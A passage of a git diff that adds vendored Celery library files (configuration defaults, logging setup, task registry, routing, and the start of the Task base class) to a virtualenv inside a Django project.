digest=Option(DEFAULT_SECURITY_DIGEST, type='string'), + ), + database=Namespace( + url=Option(old={'celery_result_dburi'}), + engine_options=Option( + type='dict', old={'celery_result_engine_options'}, + ), + short_lived_sessions=Option( + False, type='bool', old={'celery_result_db_short_lived_sessions'}, + ), + table_schemas=Option(type='dict'), + table_names=Option(type='dict', old={'celery_result_db_tablenames'}), + ), + task=Namespace( + __old__=OLD_NS, + acks_late=Option(False, type='bool'), + acks_on_failure_or_timeout=Option(True, type='bool'), + always_eager=Option(False, type='bool'), + annotations=Option(type='any'), + compression=Option(type='string', old={'celery_message_compression'}), + create_missing_queues=Option(True, type='bool'), + inherit_parent_priority=Option(False, type='bool'), + default_delivery_mode=Option(2, type='string'), + default_queue=Option('celery'), + default_exchange=Option(None, type='string'), # taken from queue + default_exchange_type=Option('direct'), + default_routing_key=Option(None, type='string'), # taken from queue + default_rate_limit=Option(type='string'), + default_priority=Option(None, type='string'), + eager_propagates=Option( + False, type='bool', old={'celery_eager_propagates_exceptions'}, + ), + ignore_result=Option(False, type='bool'), + store_eager_result=Option(False, type='bool'), + protocol=Option(2, type='int', old={'celery_task_protocol'}), + publish_retry=Option( + True, type='bool', old={'celery_task_publish_retry'}, + ), + publish_retry_policy=Option( + {'max_retries': 3, + 'interval_start': 0, + 'interval_max': 1, + 'interval_step': 0.2}, + type='dict', old={'celery_task_publish_retry_policy'}, + ), + queues=Option(type='dict'), + queue_max_priority=Option(None, type='int'), + reject_on_worker_lost=Option(type='bool'), + remote_tracebacks=Option(False, type='bool'), + routes=Option(type='any'), + send_sent_event=Option( + False, type='bool', old={'celery_send_task_sent_event'}, + ), + serializer=Option('json', old={'celery_task_serializer'}), + soft_time_limit=Option( + type='float', old={'celeryd_task_soft_time_limit'}, + ), + time_limit=Option( + type='float', old={'celeryd_task_time_limit'}, + ), + store_errors_even_if_ignored=Option(False, type='bool'), + track_started=Option(False, type='bool'), + ), + worker=Namespace( + __old__=OLD_NS_WORKER, + agent=Option(None, type='string'), + autoscaler=Option('celery.worker.autoscale:Autoscaler'), + cancel_long_running_tasks_on_connection_loss=Option( + False, type='bool' + ), + concurrency=Option(None, type='int'), + consumer=Option('celery.worker.consumer:Consumer', type='string'), + direct=Option(False, type='bool', old={'celery_worker_direct'}), + disable_rate_limits=Option( + False, type='bool', old={'celery_disable_rate_limits'}, + ), + deduplicate_successful_tasks=Option( + False, type='bool' + ), + enable_remote_control=Option( + True, type='bool', old={'celery_enable_remote_control'}, + ), + hijack_root_logger=Option(True, type='bool'), + log_color=Option(type='bool'), + log_format=Option(DEFAULT_PROCESS_LOG_FMT), + lost_wait=Option(10.0, type='float', old={'celeryd_worker_lost_wait'}), + max_memory_per_child=Option(type='int'), + max_tasks_per_child=Option(type='int'), + pool=Option(DEFAULT_POOL), + pool_putlocks=Option(True, type='bool'), + pool_restarts=Option(False, type='bool'), + proc_alive_timeout=Option(4.0, type='float'), + prefetch_multiplier=Option(4, type='int'), + redirect_stdouts=Option( + True, type='bool', old={'celery_redirect_stdouts'}, + ), + redirect_stdouts_level=Option( + 'WARNING', old={'celery_redirect_stdouts_level'}, + ), + send_task_events=Option( + False, type='bool', old={'celery_send_events'}, + ), + state_db=Option(), + task_log_format=Option(DEFAULT_TASK_LOG_FMT), + timer=Option(type='string'), + timer_precision=Option(1.0, type='float'), + ), +) + + +def _flatten_keys(ns, key, opt): + return [(ns + key, opt)] + + +def _to_compat(ns, key, opt): + if opt.old: + return [ + (oldkey.format(key).upper(), ns + key, opt) + for oldkey in opt.old + ] + return [((ns + key).upper(), ns + key, opt)] + + +def flatten(d, root='', keyfilter=_flatten_keys): + """Flatten settings.""" + stack = deque([(root, d)]) + while stack: + ns, options = stack.popleft() + for key, opt in options.items(): + if isinstance(opt, dict): + stack.append((ns + key + '_', opt)) + else: + yield from keyfilter(ns, key, opt) + + +DEFAULTS = { + key: opt.default for key, opt in flatten(NAMESPACES) +} +__compat = list(flatten(NAMESPACES, keyfilter=_to_compat)) +_OLD_DEFAULTS = {old_key: opt.default for old_key, _, opt in __compat} +_TO_OLD_KEY = {new_key: old_key for old_key, new_key, _ in __compat} +_TO_NEW_KEY = {old_key: new_key for old_key, new_key, _ in __compat} +__compat = None + +SETTING_KEYS = set(DEFAULTS.keys()) +_OLD_SETTING_KEYS = set(_TO_NEW_KEY.keys()) + + +def find_deprecated_settings(source): # pragma: no cover + from celery.utils import deprecated + for name, opt in flatten(NAMESPACES): + if (opt.deprecate_by or opt.remove_by) and getattr(source, name, None): + deprecated.warn(description=f'The {name!r} setting', + deprecation=opt.deprecate_by, + removal=opt.remove_by, + alternative=f'Use the {opt.alt} instead') + return source + + +@memoize(maxsize=None) +def find(name, namespace='celery'): + """Find setting by name.""" + # - Try specified name-space first. + namespace = namespace.lower() + try: + return searchresult( + namespace, name.lower(), NAMESPACES[namespace][name.lower()], + ) + except KeyError: + # - Try all the other namespaces. + for ns, opts in NAMESPACES.items(): + if ns.lower() == name.lower(): + return searchresult(None, ns, opts) + elif isinstance(opts, dict): + try: + return searchresult(ns, name.lower(), opts[name.lower()]) + except KeyError: + pass + # - See if name is a qualname last. + return searchresult(None, name.lower(), DEFAULTS[name.lower()]) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/app/events.py b/django_lottopy/lib/python3.10/site-packages/celery/app/events.py new file mode 100644 index 00000000..f2ebea06 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/app/events.py @@ -0,0 +1,40 @@ +"""Implementation for the app.events shortcuts.""" +from contextlib import contextmanager + +from kombu.utils.objects import cached_property + + +class Events: + """Implements app.events.""" + + receiver_cls = 'celery.events.receiver:EventReceiver' + dispatcher_cls = 'celery.events.dispatcher:EventDispatcher' + state_cls = 'celery.events.state:State' + + def __init__(self, app=None): + self.app = app + + @cached_property + def Receiver(self): + return self.app.subclass_with_self( + self.receiver_cls, reverse='events.Receiver') + + @cached_property + def Dispatcher(self): + return self.app.subclass_with_self( + self.dispatcher_cls, reverse='events.Dispatcher') + + @cached_property + def State(self): + return self.app.subclass_with_self( + self.state_cls, reverse='events.State') + + @contextmanager + def default_dispatcher(self, hostname=None, enabled=True, + buffer_while_offline=False): + with self.app.amqp.producer_pool.acquire(block=True) as prod: + # pylint: disable=too-many-function-args + # This is a property pylint... + with self.Dispatcher(prod.connection, hostname, enabled, + prod.channel, buffer_while_offline) as d: + yield d diff --git a/django_lottopy/lib/python3.10/site-packages/celery/app/log.py b/django_lottopy/lib/python3.10/site-packages/celery/app/log.py new file mode 100644 index 00000000..4ca9bc7c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/app/log.py @@ -0,0 +1,250 @@ +"""Logging configuration. + +The Celery instances logging section: ``Celery.log``. + +Sets up logging for the worker and other programs, +redirects standard outs, colors log output, patches logging +related compatibility fixes, and so on. +""" +import logging +import os +import sys +import warnings +from logging.handlers import WatchedFileHandler + +from kombu.utils.encoding import set_default_encoding_file + +from celery import signals +from celery._state import get_current_task +from celery.exceptions import CDeprecationWarning, CPendingDeprecationWarning +from celery.local import class_property +from celery.platforms import isatty +from celery.utils.log import (ColorFormatter, LoggingProxy, get_logger, + get_multiprocessing_logger, mlevel, + reset_multiprocessing_logger) +from celery.utils.nodenames import node_format +from celery.utils.term import colored + +__all__ = ('TaskFormatter', 'Logging') + +MP_LOG = os.environ.get('MP_LOG', False) + + +class TaskFormatter(ColorFormatter): + """Formatter for tasks, adding the task name and id.""" + + def format(self, record): + task = get_current_task() + if task and task.request: + record.__dict__.update(task_id=task.request.id, + task_name=task.name) + else: + record.__dict__.setdefault('task_name', '???') + record.__dict__.setdefault('task_id', '???') + return super().format(record) + + +class Logging: + """Application logging setup (app.log).""" + + #: The logging subsystem is only configured once per process. + #: setup_logging_subsystem sets this flag, and subsequent calls + #: will do nothing. + _setup = False + + def __init__(self, app): + self.app = app + self.loglevel = mlevel(logging.WARN) + self.format = self.app.conf.worker_log_format + self.task_format = self.app.conf.worker_task_log_format + self.colorize = self.app.conf.worker_log_color + + def setup(self, loglevel=None, logfile=None, redirect_stdouts=False, + redirect_level='WARNING', colorize=None, hostname=None): + loglevel = mlevel(loglevel) + handled = self.setup_logging_subsystem( + loglevel, logfile, colorize=colorize, hostname=hostname, + ) + if not handled: + if redirect_stdouts: + self.redirect_stdouts(redirect_level) + os.environ.update( + CELERY_LOG_LEVEL=str(loglevel) if loglevel else '', + CELERY_LOG_FILE=str(logfile) if logfile else '', + ) + warnings.filterwarnings('always', category=CDeprecationWarning) + warnings.filterwarnings('always', category=CPendingDeprecationWarning) + logging.captureWarnings(True) + return handled + + def redirect_stdouts(self, loglevel=None, name='celery.redirected'): + self.redirect_stdouts_to_logger( + get_logger(name), loglevel=loglevel + ) + os.environ.update( + CELERY_LOG_REDIRECT='1', + CELERY_LOG_REDIRECT_LEVEL=str(loglevel or ''), + ) + + def setup_logging_subsystem(self, loglevel=None, logfile=None, format=None, + colorize=None, hostname=None, **kwargs): + if self.already_setup: + return + if logfile and hostname: + logfile = node_format(logfile, hostname) + Logging._setup = True + loglevel = mlevel(loglevel or self.loglevel) + format = format or self.format + colorize = self.supports_color(colorize, logfile) + reset_multiprocessing_logger() + receivers = signals.setup_logging.send( + sender=None, loglevel=loglevel, logfile=logfile, + format=format, colorize=colorize, + ) + + if not receivers: + root = logging.getLogger() + + if self.app.conf.worker_hijack_root_logger: + root.handlers = [] + get_logger('celery').handlers = [] + get_logger('celery.task').handlers = [] + get_logger('celery.redirected').handlers = [] + + # Configure root logger + self._configure_logger( + root, logfile, loglevel, format, colorize, **kwargs + ) + + # Configure the multiprocessing logger + self._configure_logger( + get_multiprocessing_logger(), + logfile, loglevel if MP_LOG else logging.ERROR, + format, colorize, **kwargs + ) + + signals.after_setup_logger.send( + sender=None, logger=root, + loglevel=loglevel, logfile=logfile, + format=format, colorize=colorize, + ) + + # then setup the root task logger. + self.setup_task_loggers(loglevel, logfile, colorize=colorize) + + try: + stream = logging.getLogger().handlers[0].stream + except (AttributeError, IndexError): + pass + else: + set_default_encoding_file(stream) + + # This is a hack for multiprocessing's fork+exec, so that + # logging before Process.run works. + logfile_name = logfile if isinstance(logfile, str) else '' + os.environ.update(_MP_FORK_LOGLEVEL_=str(loglevel), + _MP_FORK_LOGFILE_=logfile_name, + _MP_FORK_LOGFORMAT_=format) + return receivers + + def _configure_logger(self, logger, logfile, loglevel, + format, colorize, **kwargs): + if logger is not None: + self.setup_handlers(logger, logfile, format, + colorize, **kwargs) + if loglevel: + logger.setLevel(loglevel) + + def setup_task_loggers(self, loglevel=None, logfile=None, format=None, + colorize=None, propagate=False, **kwargs): + """Setup the task logger. + + If `logfile` is not specified, then `sys.stderr` is used. + + Will return the base task logger object. + """ + loglevel = mlevel(loglevel or self.loglevel) + format = format or self.task_format + colorize = self.supports_color(colorize, logfile) + + logger = self.setup_handlers( + get_logger('celery.task'), + logfile, format, colorize, + formatter=TaskFormatter, **kwargs + ) + logger.setLevel(loglevel) + # this is an int for some reason, better to not question why. + logger.propagate = int(propagate) + signals.after_setup_task_logger.send( + sender=None, logger=logger, + loglevel=loglevel, logfile=logfile, + format=format, colorize=colorize, + ) + return logger + + def redirect_stdouts_to_logger(self, logger, loglevel=None, + stdout=True, stderr=True): + """Redirect :class:`sys.stdout` and :class:`sys.stderr` to logger. + + Arguments: + logger (logging.Logger): Logger instance to redirect to. + loglevel (int, str): The loglevel redirected message + will be logged as. + """ + proxy = LoggingProxy(logger, loglevel) + if stdout: + sys.stdout = proxy + if stderr: + sys.stderr = proxy + return proxy + + def supports_color(self, colorize=None, logfile=None): + colorize = self.colorize if colorize is None else colorize + if self.app.IS_WINDOWS: + # Windows does not support ANSI color codes. + return False + if colorize or colorize is None: + # Only use color if there's no active log file + # and stderr is an actual terminal. + return logfile is None and isatty(sys.stderr) + return colorize + + def colored(self, logfile=None, enabled=None): + return colored(enabled=self.supports_color(enabled, logfile)) + + def setup_handlers(self, logger, logfile, format, colorize, + formatter=ColorFormatter, **kwargs): + if self._is_configured(logger): + return logger + handler = self._detect_handler(logfile) + handler.setFormatter(formatter(format, use_color=colorize)) + logger.addHandler(handler) + return logger + + def _detect_handler(self, logfile=None): + """Create handler from filename, an open stream or `None` (stderr).""" + logfile = sys.__stderr__ if logfile is None else logfile + if hasattr(logfile, 'write'): + return logging.StreamHandler(logfile) + return WatchedFileHandler(logfile, encoding='utf-8') + + def _has_handler(self, logger): + return any( + not isinstance(h, logging.NullHandler) + for h in logger.handlers or [] + ) + + def _is_configured(self, logger): + return self._has_handler(logger) and not getattr( + logger, '_rudimentary_setup', False) + + def get_default_logger(self, name='celery', **kwargs): + return get_logger(name) + + @class_property + def already_setup(self): + return self._setup + + @already_setup.setter + def already_setup(self, was_setup): + self._setup = was_setup diff --git a/django_lottopy/lib/python3.10/site-packages/celery/app/registry.py b/django_lottopy/lib/python3.10/site-packages/celery/app/registry.py new file mode 100644 index 00000000..707567d1 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/app/registry.py @@ -0,0 +1,68 @@ +"""Registry of available tasks.""" +import inspect +from importlib import import_module + +from celery._state import get_current_app +from celery.app.autoretry import add_autoretry_behaviour +from celery.exceptions import InvalidTaskError, NotRegistered + +__all__ = ('TaskRegistry',) + + +class TaskRegistry(dict): + """Map of registered tasks.""" + + NotRegistered = NotRegistered + + def __missing__(self, key): + raise self.NotRegistered(key) + + def register(self, task): + """Register a task in the task registry. + + The task will be automatically instantiated if not already an + instance. Name must be configured prior to registration. + """ + if task.name is None: + raise InvalidTaskError( + 'Task class {!r} must specify .name attribute'.format( + type(task).__name__)) + task = inspect.isclass(task) and task() or task + add_autoretry_behaviour(task) + self[task.name] = task + + def unregister(self, name): + """Unregister task by name. + + Arguments: + name (str): name of the task to unregister, or a + :class:`celery.app.task.Task` with a valid `name` attribute. + + Raises: + celery.exceptions.NotRegistered: if the task is not registered. + """ + try: + self.pop(getattr(name, 'name', name)) + except KeyError: + raise self.NotRegistered(name) + + # -- these methods are irrelevant now and will be removed in 4.0 + def regular(self): + return self.filter_types('regular') + + def periodic(self): + return self.filter_types('periodic') + + def filter_types(self, type): + return {name: task for name, task in self.items() + if getattr(task, 'type', 'regular') == type} + + +def _unpickle_task(name): + return get_current_app().tasks[name] + + +def _unpickle_task_v2(name, module=None): + if module: + import_module(module) + return get_current_app().tasks[name] diff --git a/django_lottopy/lib/python3.10/site-packages/celery/app/routes.py b/django_lottopy/lib/python3.10/site-packages/celery/app/routes.py new file mode 100644 index 00000000..a56ce59e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/app/routes.py @@ -0,0 +1,136 @@ +"""Task Routing. + +Contains utilities for working with task routers, (:setting:`task_routes`). +""" +import fnmatch +import re +from collections import OrderedDict +from collections.abc import Mapping + +from kombu import Queue + +from celery.exceptions import QueueNotFound +from celery.utils.collections import lpmerge +from celery.utils.functional import maybe_evaluate, mlazy +from celery.utils.imports import symbol_by_name + +try: + Pattern = re._pattern_type +except AttributeError: # pragma: no cover + # for support Python 3.7 + Pattern = re.Pattern + +__all__ = ('MapRoute', 'Router', 'prepare') + + +class MapRoute: + """Creates a router out of a :class:`dict`.""" + + def __init__(self, map): + map = map.items() if isinstance(map, Mapping) else map + self.map = {} + self.patterns = OrderedDict() + for k, v in map: + if isinstance(k, Pattern): + self.patterns[k] = v + elif '*' in k: + self.patterns[re.compile(fnmatch.translate(k))] = v + else: + self.map[k] = v + + def __call__(self, name, *args, **kwargs): + try: + return dict(self.map[name]) + except KeyError: + pass + except ValueError: + return {'queue': self.map[name]} + for regex, route in self.patterns.items(): + if regex.match(name): + try: + return dict(route) + except ValueError: + return {'queue': route} + + +class Router: + """Route tasks based on the :setting:`task_routes` setting.""" + + def __init__(self, routes=None, queues=None, + create_missing=False, app=None): + self.app = app + self.queues = {} if queues is None else queues + self.routes = [] if routes is None else routes + self.create_missing = create_missing + + def route(self, options, name, args=(), kwargs=None, task_type=None): + kwargs = {} if not kwargs else kwargs + options = self.expand_destination(options) # expands 'queue' + if self.routes: + route = self.lookup_route(name, args, kwargs, options, task_type) + if route: # expands 'queue' in route. + return lpmerge(self.expand_destination(route), options) + if 'queue' not in options: + options = lpmerge(self.expand_destination( + self.app.conf.task_default_queue), options) + return options + + def expand_destination(self, route): + # Route can be a queue name: convenient for direct exchanges. + if isinstance(route, str): + queue, route = route, {} + else: + # can use defaults from configured queue, but override specific + # things (like the routing_key): great for topic exchanges. + queue = route.pop('queue', None) + + if queue: + if isinstance(queue, Queue): + route['queue'] = queue + else: + try: + route['queue'] = self.queues[queue] + except KeyError: + raise QueueNotFound( + f'Queue {queue!r} missing from task_queues') + return route + + def lookup_route(self, name, + args=None, kwargs=None, options=None, task_type=None): + query = self.query_router + for router in self.routes: + route = query(router, name, args, kwargs, options, task_type) + if route is not None: + return route + + def query_router(self, router, task, args, kwargs, options, task_type): + router = maybe_evaluate(router) + if hasattr(router, 'route_for_task'): + # pre 4.0 router class + return router.route_for_task(task, args, kwargs) + return router(task, args, kwargs, options, task=task_type) + + +def expand_router_string(router): + router = symbol_by_name(router) + if hasattr(router, 'route_for_task'): + # need to instantiate pre 4.0 router classes + router = router() + return router + + +def prepare(routes): + """Expand the :setting:`task_routes` setting.""" + + def expand_route(route): + if isinstance(route, (Mapping, list, tuple)): + return MapRoute(route) + if isinstance(route, str): + return mlazy(expand_router_string, route) + return route + + if routes is None: + return () + if not isinstance(routes, (list, tuple)): + routes = (routes,) + return [expand_route(route) for route in routes] diff --git a/django_lottopy/lib/python3.10/site-packages/celery/app/task.py b/django_lottopy/lib/python3.10/site-packages/celery/app/task.py new file mode 100644 index 00000000..9a6796e6 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/app/task.py @@ -0,0 +1,1103 @@ +"""Task implementation: request context and the task base class.""" +import sys + +from billiard.einfo import ExceptionInfo +from kombu import serialization +from kombu.exceptions import OperationalError +from kombu.utils.uuid import uuid + +from celery import current_app, states +from celery._state import _task_stack +from celery.canvas import _chain, group, signature +from celery.exceptions import (Ignore, ImproperlyConfigured, + MaxRetriesExceededError, Reject, Retry) +from celery.local import class_property +from celery.result import EagerResult, denied_join_result +from celery.utils import abstract +from celery.utils.functional import mattrgetter, maybe_list +from celery.utils.imports import instantiate +from celery.utils.nodenames import gethostname +from celery.utils.serialization import raise_with_context + +from .annotations import resolve_all as resolve_all_annotations +from .registry import _unpickle_task_v2 +from .utils import appstr + +__all__ = ('Context', 'Task') + +#: extracts attributes related to publishing a message from an object. +extract_exec_options = mattrgetter( + 'queue', 'routing_key', 'exchange', 'priority', 'expires', + 'serializer', 'delivery_mode', 'compression', 'time_limit', + 'soft_time_limit', 'immediate', 'mandatory', # imm+man is deprecated +) + +# We take __repr__ very seriously around here ;) +R_BOUND_TASK = '' +R_UNBOUND_TASK = '' +R_INSTANCE = '<@task: {0.name} of {app}{flags}>' + +#: Here for backwards compatibility as tasks no longer use a custom meta-class. +TaskType = type + + +def _strflags(flags, default=''): + if flags: + return ' ({})'.format(', '.join(flags)) + return default + + +def _reprtask(task, fmt=None, flags=None): + flags = list(flags) if flags is not None else [] + flags.append('v2 compatible') if task.__v2_compat__ else None + if not fmt: + fmt = R_BOUND_TASK if task._app else R_UNBOUND_TASK + return fmt.format( + task, flags=_strflags(flags), + app=appstr(task._app) if task._app else None, + ) + + +class Context: + """Task request variables (Task.request).""" + + _children = None # see property + _protected = 0 + args = None + callbacks = None + called_directly = True + chain = None + chord = None + correlation_id = None + delivery_info = None + errbacks = None + eta = None + expires = None + group = None + group_index = None + headers = None + hostname = None + id = None + ignore_result = False + is_eager = False + kwargs = None + logfile = None + loglevel = None + origin = None + parent_id = None + properties = None + retries = 0 + reply_to = None + replaced_task_nesting = 0 + root_id = None + shadow = None + taskset = None # compat alias to group + timelimit = None + utc = None + + def __init__(self, *args, **kwargs): + self.update(*args, **kwargs) + + def update(self, *args, **kwargs): + return self.__dict__.update(*args, **kwargs) + + def clear(self): + return self.__dict__.clear() + + def get(self, key, default=None): + return getattr(self, key, default) + + def __repr__(self): + return f'' + + def as_execution_options(self): + limit_hard, limit_soft = self.timelimit or (None, None) + return { + 'task_id': self.id, + 'root_id': self.root_id, + 'parent_id': self.parent_id, + 'group_id': self.group, + 'group_index': self.group_index, + 'shadow': self.shadow, + 'chord': self.chord, + 'chain': self.chain, + 'link': self.callbacks, + 'link_error': self.errbacks, + 'expires': self.expires, + 'soft_time_limit': limit_soft, + 'time_limit': limit_hard, + 'headers': self.headers, + 'retries': self.retries, + 'reply_to': self.reply_to, + 'replaced_task_nesting': self.replaced_task_nesting, + 'origin': self.origin, + } + + @property + def children(self): + # children must be an empty list for every thread + if self._children is None: + self._children = [] + return self._children + + +@abstract.CallableTask.register +class Task: + """Task base class. + + Note: + When called tasks apply the :meth:`run` method. This method must + be defined by all tasks (that is unless the :meth:`__call__` method + is overridden). + """ + + __trace__ = None + __v2_compat__ = False # set by old base in celery.task.base + + MaxRetriesExceededError = MaxRetriesExceededError + OperationalError = OperationalError + + #: Execution strategy used, or the qualified name of one. + Strategy = 'celery.worker.strategy:default' + + #: Request class used, or the qualified name of one. + Request = 'celery.worker.request:Request' + + #: The application instance associated with this task class. + _app = None + + #: Name of the task. + name = None + + #: Enable argument checking. + #: You can set this to false if you don't want the signature to be + #: checked when calling the task. + #: Defaults to :attr:`app.strict_typing <@Celery.strict_typing>`. + typing = None + + #: Maximum number of retries before giving up. If set to :const:`None`, + #: it will **never** stop retrying. + max_retries = 3 + + #: Default time in seconds before a retry of the task should be + #: executed. 3 minutes by default. + default_retry_delay = 3 * 60 + + #: Rate limit for this task type. Examples: :const:`None` (no rate + #: limit), `'100/s'` (hundred tasks a second), `'100/m'` (hundred tasks + #: a minute),`'100/h'` (hundred tasks an hour) + rate_limit = None + + #: If enabled the worker won't store task state and return values + #: for this task. Defaults to the :setting:`task_ignore_result` + #: setting. + ignore_result = None + + #: If enabled the request will keep track of subtasks started by + #: this task, and this information will be sent with the result + #: (``result.children``). + trail = True + + #: If enabled the worker will send monitoring events related to + #: this task (but only if the worker is configured to send + #: task related events). + #: Note that this has no effect on the task-failure event case + #: where a task is not registered (as it will have no task class + #: to check this flag). + send_events = True + + #: When enabled errors will be stored even if the task is otherwise + #: configured to ignore results. + store_errors_even_if_ignored = None + + #: The name of a serializer that are registered with + #: :mod:`kombu.serialization.registry`. Default is `'json'`. + serializer = None + + #: Hard time limit. + #: Defaults to the :setting:`task_time_limit` setting. + time_limit = None + + #: Soft time limit. + #: Defaults to the :setting:`task_soft_time_limit` setting. + soft_time_limit = None + + #: The result store backend used for this task. + backend = None + + #: If enabled the task will report its status as 'started' when the task + #: is executed by a worker. Disabled by default as the normal behavior + #: is to not report that level of granularity. Tasks are either pending, + #: finished, or waiting to be retried. + #: + #: Having a 'started' status can be useful for when there are long + #: running tasks and there's a need to report what task is currently + #: running. + #: + #: The application default can be overridden using the + #: :setting:`task_track_started` setting. + track_started = None + + #: When enabled messages for this task will be acknowledged **after** + #: the task has been executed, and not *just before* (the + #: default behavior). + #: + #: Please note that this means the task may be executed twice if the + #: worker crashes mid execution. + #: + #: The application default can be overridden with the + #: :setting:`task_acks_late` setting. + acks_late = None + + #: When enabled messages for this task will be acknowledged even if it + #: fails or times out. + #: + #: Configuring this setting only applies to tasks that are + #: acknowledged **after** they have been executed and only if + #: :setting:`task_acks_late` is enabled. + #: + #: The application default can be overridden with the + #: :setting:`task_acks_on_failure_or_timeout` setting. + acks_on_failure_or_timeout = None + + #: Even if :attr:`acks_late` is enabled, the worker will + #: acknowledge tasks when the worker process executing them abruptly + #: exits or is signaled (e.g., :sig:`KILL`/:sig:`INT`, etc). + #: + #: Setting this to true allows the message to be re-queued instead, + #: so that the task will execute again by the same worker, or another + #: worker. + #: + #: Warning: Enabling this can cause message loops; make sure you know + #: what you're doing. + reject_on_worker_lost = None + + #: Tuple of expected exceptions. + #: + #: These are errors that are expected in normal operation + #: and that shouldn't be regarded as a real error by the worker. + #: Currently this means that the state will be updated to an error + #: state, but the worker won't log the event as an error. + throws = () + + #: Default task expiry time. + expires = None + + #: Default task priority. + priority = None + + #: Max length of result representation used in logs and events. + resultrepr_maxsize = 1024 + + #: Task request stack, the current request will be the topmost. + request_stack = None + + #: Some may expect a request to exist even if the task hasn't been + #: called. This should probably be deprecated. + _default_request = None + + #: Deprecated attribute ``abstract`` here for compatibility. + abstract = True + + _exec_options = None + + __bound__ = False + + from_config = ( + ('serializer', 'task_serializer'), + ('rate_limit', 'task_default_rate_limit'), + ('priority', 'task_default_priority'), + ('track_started', 'task_track_started'), + ('acks_late', 'task_acks_late'), + ('acks_on_failure_or_timeout', 'task_acks_on_failure_or_timeout'), + ('reject_on_worker_lost', 'task_reject_on_worker_lost'), + ('ignore_result', 'task_ignore_result'), + ('store_eager_result', 'task_store_eager_result'), + ('store_errors_even_if_ignored', 'task_store_errors_even_if_ignored'), + ) + + _backend = None # set by backend property. + + # - Tasks are lazily bound, so that configuration is not set + # - until the task is actually used + + @classmethod + def bind(cls, app): + was_bound, cls.__bound__ = cls.__bound__, True + cls._app = app + conf = app.conf + cls._exec_options = None # clear option cache + + if cls.typing is None: + cls.typing = app.strict_typing + + for attr_name, config_name in cls.from_config: + if getattr(cls, attr_name, None) is None: + setattr(cls, attr_name, conf[config_name]) + + # decorate with annotations from config. + if not was_bound: + cls.annotate() + + from celery.utils.threads import LocalStack + cls.request_stack = LocalStack() + + # PeriodicTask uses this to add itself to the PeriodicTask schedule. + cls.on_bound(app) + + return app + + @classmethod + def on_bound(cls, app): + """Called when the task is bound to an app. + + Note: + This class method can be defined to do additional actions when + the task class is bound to an app. + """ + + @classmethod + def _get_app(cls): + if cls._app is None: + cls._app = current_app + if not cls.__bound__: + # The app property's __set__ method is not called + # if Task.app is set (on the class), so must bind on use. + cls.bind(cls._app) + return cls._app + app = class_property(_get_app, bind) + + @classmethod + def annotate(cls): + for d in resolve_all_annotations(cls.app.annotations, cls): + for key, value in d.items(): + if key.startswith('@'): + cls.add_around(key[1:], value) + else: + setattr(cls, key, value) + + @classmethod + def add_around(cls, attr, around): + orig = getattr(cls, attr) + if getattr(orig, '__wrapped__', None): + orig = orig.__wrapped__ + meth = around(orig) + meth.__wrapped__ = orig + setattr(cls, attr, meth) + + def __call__(self, *args, **kwargs): + _task_stack.push(self) + self.push_request(args=args, kwargs=kwargs) + try: + return self.run(*args, **kwargs) + finally: + self.pop_request() + _task_stack.pop() + + def __reduce__(self): + # - tasks are pickled into the name of the task only, and the receiver + # - simply grabs it from the local registry. + # - in later versions the module of the task is also included, + # - and the receiving side tries to import that module so that + # - it will work even if the task hasn't been registered. + mod = type(self).__module__ + mod = mod if mod and mod in sys.modules else None + return (_unpickle_task_v2, (self.name, mod), None) + + def run(self, *args, **kwargs): + """The body of the task executed by workers.""" + raise NotImplementedError('Tasks must define the run method.') + + def start_strategy(self, app, consumer, **kwargs): + return instantiate(self.Strategy, self, app, consumer, **kwargs) + + def delay(self, *args, **kwargs): + """Star argument version of :meth:`apply_async`. + + Does not support the extra options enabled by :meth:`apply_async`. + + Arguments: + *args (Any): Positional arguments passed on to the task. + **kwargs (Any): Keyword arguments passed on to the task. + Returns: + celery.result.AsyncResult: Future promise. + """ + return self.apply_async(args, kwargs) + + def apply_async(self, args=None, kwargs=None, task_id=None, producer=None, + link=None, link_error=None, shadow=None, **options): + """Apply tasks asynchronously by sending a message. + + Arguments: + args (Tuple): The positional arguments to pass on to the task. + + kwargs (Dict): The keyword arguments to pass on to the task. + + countdown (float): Number of seconds into the future that the + task should execute. Defaults to immediate execution. + + eta (~datetime.datetime): Absolute time and date of when the task + should be executed. May not be specified if `countdown` + is also supplied. + + expires (float, ~datetime.datetime): Datetime or + seconds in the future for the task should expire. + The task won't be executed after the expiration time. + + shadow (str): Override task name used in logs/monitoring. + Default is retrieved from :meth:`shadow_name`. + + connection (kombu.Connection): Re-use existing broker connection + instead of acquiring one from the connection pool. + + retry (bool): If enabled sending of the task message will be + retried in the event of connection loss or failure. + Default is taken from the :setting:`task_publish_retry` + setting. Note that you need to handle the + producer/connection manually for this to work. + + retry_policy (Mapping): Override the retry policy used. + See the :setting:`task_publish_retry_policy` setting. + + time_limit (int): If set, overrides the default time limit. + + soft_time_limit (int): If set, overrides the default soft + time limit. + + queue (str, kombu.Queue): The queue to route the task to. + This must be a key present in :setting:`task_queues`, or + :setting:`task_create_missing_queues` must be + enabled. See :ref:`guide-routing` for more + information. + + exchange (str, kombu.Exchange): Named custom exchange to send the + task to. Usually not used in combination with the ``queue`` + argument. + + routing_key (str): Custom routing key used to route the task to a + worker server. If in combination with a ``queue`` argument + only used to specify custom routing keys to topic exchanges. + + priority (int): The task priority, a number between 0 and 9. + Defaults to the :attr:`priority` attribute. + + serializer (str): Serialization method to use. + Can be `pickle`, `json`, `yaml`, `msgpack` or any custom + serialization method that's been registered + with :mod:`kombu.serialization.registry`. + Defaults to the :attr:`serializer` attribute. + + compression (str): Optional compression method + to use. Can be one of ``zlib``, ``bzip2``, + or any custom compression methods registered with + :func:`kombu.compression.register`. + Defaults to the :setting:`task_compression` setting. + + link (Signature): A single, or a list of tasks signatures + to apply if the task returns successfully. + + link_error (Signature): A single, or a list of task signatures + to apply if an error occurs while executing the task. + + producer (kombu.Producer): custom producer to use when publishing + the task. + + add_to_parent (bool): If set to True (default) and the task + is applied while executing another task, then the result + will be appended to the parent tasks ``request.children`` + attribute. Trailing can also be disabled by default using the + :attr:`trail` attribute + + ignore_result (bool): If set to `False` (default) the result + of a task will be stored in the backend. If set to `True` + the result will not be stored. This can also be set + using the :attr:`ignore_result` in the `app.task` decorator. + + publisher (kombu.Producer): Deprecated alias to ``producer``. + + 